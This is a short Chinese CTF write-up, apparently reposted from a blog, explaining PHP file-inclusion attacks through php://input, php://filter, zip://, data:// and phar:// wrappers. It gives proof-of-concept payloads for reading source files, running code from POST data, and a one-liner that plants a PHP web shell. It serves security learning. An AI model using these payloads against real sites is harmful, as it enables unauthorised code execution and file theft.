二十三、bugku 文件包含
作者:互联网
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,导致意外的文件泄漏甚至恶意代码注入。
?file=php://filter/read=convert.base64-encode/resource=index.php
php://input
可以访问请求的原始数据的只读流。当传入的参数作为文件名打开时,可以将参数设为php://input
,同时post设置成文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。遇到file_get_contents()
要想到用php://input
绕过
poc1:
?file=php://input
[POST DATA] <?php phpinfo();?>
还可以上传一句话木马 poc2
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
php://filter
可以获取指定文件源码。php://filter
流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
poc1:
?file=php://filter/resource=xxx.php
poc2:
?file=php://filter/read=convert.base64-encode/resource=xxx.php
POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。
zip://
可以访问压缩包里面的文件。当它与包含函数结合时,zip://
流会被当作php文件执行。从而实现任意代码执行。
zip://
中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://
poc:
zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\zip.jpg%23phpinfo.txt
data:// 同样类似与php://input,
phar:// 有点类似zip://
phar://中相对路径和绝对路径都可以使用
标签:文件,bugku,二十三,zip,包含,file,input,php,压缩包 来源: https://blog.csdn.net/m0_53008479/article/details/120123837